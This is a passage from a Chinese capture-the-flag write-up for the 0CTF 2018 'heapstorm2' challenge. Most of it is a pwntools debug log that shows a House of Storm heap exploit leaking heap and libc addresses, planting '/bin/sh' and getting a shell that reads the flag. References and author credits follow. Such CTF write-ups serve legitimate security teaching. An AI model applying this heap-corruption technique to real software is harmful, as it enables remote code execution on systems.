'3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '0\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '12\n' [DEBUG] Received 0x9 bytes: 'Content: ' [DEBUG] Sent 0xc bytes: 'h' * 0xc [DEBUG] Received 0x10 bytes: 'Chunk 0 Updated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '24\n' [DEBUG] Received 0x12 bytes: 'Chunk 1 Allocated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x5 bytes: '1240\n' [DEBUG] Received 0x12 bytes: 'Chunk 7 Allocated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '3\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x10 bytes: 'Chunk 1 Deleted\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '3\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x10 bytes: 'Chunk 2 Deleted\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '56\n' [DEBUG] Received 0x12 bytes: 'Chunk 1 Allocated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x5 bytes: '1256\n' [DEBUG] Received 0x12 bytes: 'Chunk 2 Allocated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '3\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '4\n' [DEBUG] Received 0x10 bytes: 'Chunk 4 Deleted\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '3\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '12\n' [DEBUG] Received 0x9 bytes: 'Content: ' [DEBUG] Sent 0xc bytes: 'h' * 0xc [DEBUG] Received 0x10 bytes: 'Chunk 3 Updated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '24\n' [DEBUG] Received 0x12 bytes: 'Chunk 4 Allocated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x5 bytes: '1240\n' [DEBUG] Received 0x12 bytes: 'Chunk 8 Allocated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '3\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '4\n' [DEBUG] Received 0x10 bytes: 'Chunk 4 Deleted\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '3\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '5\n' [DEBUG] Received 0x10 bytes: 'Chunk 5 Deleted\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '72\n' [DEBUG] Received 0x12 bytes: 'Chunk 4 Allocated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '3\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x10 bytes: 'Chunk 2 Deleted\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x5 bytes: '1256\n' [DEBUG] Received 0x12 bytes: 'Chunk 2 Allocated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '3\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x10 bytes: 'Chunk 2 Deleted\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '7\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '48\n' [DEBUG] Received 0x9 bytes: 'Content: ' [DEBUG] Sent 0x30 bytes: 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000010 00 00 00 00 00 00 00 00 f1 04 00 00 00 00 00 00 │····│····│····│····│ 00000020 00 00 00 00 00 00 00 00 e0 07 37 13 00 00 00 00 │····│····│··7·│····│ 00000030 [DEBUG] Received 0x10 bytes: 'Chunk 7 Updated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '8\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '80\n' [DEBUG] Received 0x9 bytes: 'Content: ' [DEBUG] Sent 0x50 bytes: 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000020 00 00 00 00 00 00 00 00 e1 04 00 00 00 00 00 00 │····│····│····│····│ 00000030 00 00 00 00 00 00 00 00 e8 07 37 13 00 00 00 00 │····│····│··7·│····│ 00000040 00 00 00 00 00 00 00 00 c3 07 37 13 00 00 00 00 │····│····│··7·│····│ 00000050 [DEBUG] Received 0x10 bytes: 'Chunk 8 Updated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '72\n' [DEBUG] Received 0x12 bytes: 'Chunk 2 Allocated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '56\n' [DEBUG] Received 0x9 bytes: 'Content: ' [DEBUG] Sent 0x38 bytes: 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ * 00000020 00 00 00 00 00 00 00 00 31 73 37 13 00 00 00 00 │····│····│1s7·│····│ 00000030 00 08 37 13 00 00 00 00 │··7·│····││ 00000038 [DEBUG] Received 0x10 bytes: 'Chunk 2 Updated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '0\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '64\n' [DEBUG] Received 0x9 bytes: 'Content: ' [DEBUG] Sent 0x40 bytes: 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000010 00 00 00 00 00 00 00 00 31 73 37 13 00 00 00 00 │····│····│1s7·│····│ 00000020 00 08 37 13 00 00 00 00 00 10 00 00 00 00 00 00 │··7·│····│····│····│ 00000030 e3 07 37 13 00 00 00 00 08 00 00 00 00 00 00 00 │··7·│····│····│····│ 00000040 [DEBUG] Received 0x10 bytes: 'Chunk 0 Updated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '4\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0xa bytes: 'Chunk[1]: ' [DEBUG] Received 0x42 bytes: 00000000 60 40 2f 97 25 56 00 00 0a 31 2e 20 41 6c 6c 6f │`@/·│%V··│·1. │Allo│ 00000010 63 61 74 65 0a 32 2e 20 55 70 64 61 74 65 0a 33 │cate│·2. │Upda│te·3│ 00000020 2e 20 44 65 6c 65 74 65 0a 34 2e 20 56 69 65 77 │. De│lete│·4. │View│ 00000030 0a 35 2e 20 45 78 69 74 0a 43 6f 6d 6d 61 6e 64 │·5. │Exit│·Com│mand│ 00000040 3a 20 │: │ 00000042 heap: 5625972f4060 [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '0\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '64\n' [DEBUG] Received 0x9 bytes: 'Content: ' [DEBUG] Sent 0x40 bytes: 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000010 00 00 00 00 00 00 00 00 31 73 37 13 00 00 00 00 │····│····│1s7·│····│ 00000020 00 08 37 13 00 00 00 00 00 10 00 00 00 00 00 00 │··7·│····│····│····│ 00000030 70 40 2f 97 25 56 00 00 08 00 00 00 00 00 00 00 │p@/·│%V··│····│····│ 00000040 [DEBUG] Received 0x10 bytes: 'Chunk 0 Updated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '4\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0xa bytes: 'Chunk[1]: ' [DEBUG] Received 0x42 bytes: 00000000 58 cb 14 2e 7a 7f 00 00 0a 31 2e 20 41 6c 6c 6f │X··.│z···│·1. │Allo│ 00000010 63 61 74 65 0a 32 2e 20 55 70 64 61 74 65 0a 33 │cate│·2. │Upda│te·3│ 00000020 2e 20 44 65 6c 65 74 65 0a 34 2e 20 56 69 65 77 │. De│lete│·4. │View│ 00000030 0a 35 2e 20 45 78 69 74 0a 43 6f 6d 6d 61 6e 64 │·5. │Exit│·Com│mand│ 00000040 3a 20 │: │ 00000042 libc_base: 7f7a2ddb3000 [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '0\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x3 bytes: '88\n' [DEBUG] Received 0x9 bytes: 'Content: ' [DEBUG] Sent 0x58 bytes: 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ 00000010 00 00 00 00 00 00 00 00 31 73 37 13 00 00 00 00 │····│····│1s7·│····│ 00000020 00 08 37 13 00 00 00 00 00 10 00 00 00 00 00 00 │··7·│····│····│····│ 00000030 88 e7 14 2e 7a 7f 00 00 00 01 00 00 00 00 00 00 │···.│z···│····│····│ 00000040 50 08 37 13 00 00 00 00 00 01 00 00 00 00 00 00 │P·7·│····│····│····│ 00000050 2f 62 69 6e 2f 73 68 00 │/bin│/sh·││ 00000058 [DEBUG] Received 0x10 bytes: 'Chunk 0 Updated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '3. Delete\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '2\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '1\n' [DEBUG] Received 0x6 bytes: 'Size: ' [DEBUG] Sent 0x2 bytes: '8\n' [DEBUG] Received 0x9 bytes: 'Content: ' [DEBUG] Sent 0x8 bytes: 00000000 80 24 df 2d 7a 7f 00 00 │·$·-│z···││ 00000008 [DEBUG] Received 0x10 bytes: 'Chunk 1 Updated\n' [DEBUG] Received 0x39 bytes: '1. Allocate\n' '2. Update\n' '4. View\n' '5. Exit\n' 'Command: ' [DEBUG] Sent 0x2 bytes: '3\n' [DEBUG] Received 0x7 bytes: 'Index: ' [DEBUG] Sent 0x2 bytes: '2\n' [*] Switching to interactive mode $ [DEBUG] Sent 0x1 bytes: '\n' * 0x1 $ [DEBUG] Sent 0x1 bytes: '\n' * 0x1 $ [DEBUG] Sent 0x1 bytes: '\n' * 0x1 $ [DEBUG] Sent 0x1 bytes: '\n' * 0x1 $ [DEBUG] Sent 0x1 bytes: '\n' * 0x1 $ [DEBUG] Sent 0x1 bytes: '\n' * 0x1 $ [DEBUG] Sent 0x1 bytes: '\n' * 0x1 $ ls [DEBUG] Sent 0x3 bytes: 'ls\n' [DEBUG] Received 0x17 bytes: 'flag\n' 'heapstorm2\n' 'pow.py\n' flag heapstorm2 pow.py $ cat flag [DEBUG] Sent 0x9 bytes: 'cat flag\n' [DEBUG] Received 0x4b bytes: 'flag{Seize it, control it, and exploit it. Welcome to the House of Storm.}\n' flag{Seize it, control it, and exploit it. Welcome to the House of Storm.} $ whoami [DEBUG] Sent 0x7 bytes: 'whoami\n' [DEBUG] Received 0xb bytes: 'heapstorm2\n' heapstorm2 $ ls [DEBUG] Sent 0x3 bytes: 'ls\n' [DEBUG] Received 0x17 bytes: 'flag\n' 'heapstorm2\n' 'pow.py\n' flag heapstorm2 pow.py
flag
参考资料
https://gist.github.com/Jackyxty/9de01a0bdfe5fb6d0b40fe066f059fa3
https://github.com/willinin/0ctf2018/blob/master/heapstorm2/heapstorm2.md
我的i64文件
首发于公众号ChaMd5安全团队
个人blog:eternalsakura13.com
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
赞赏
|
|
---|---|
|
可以的老哥
|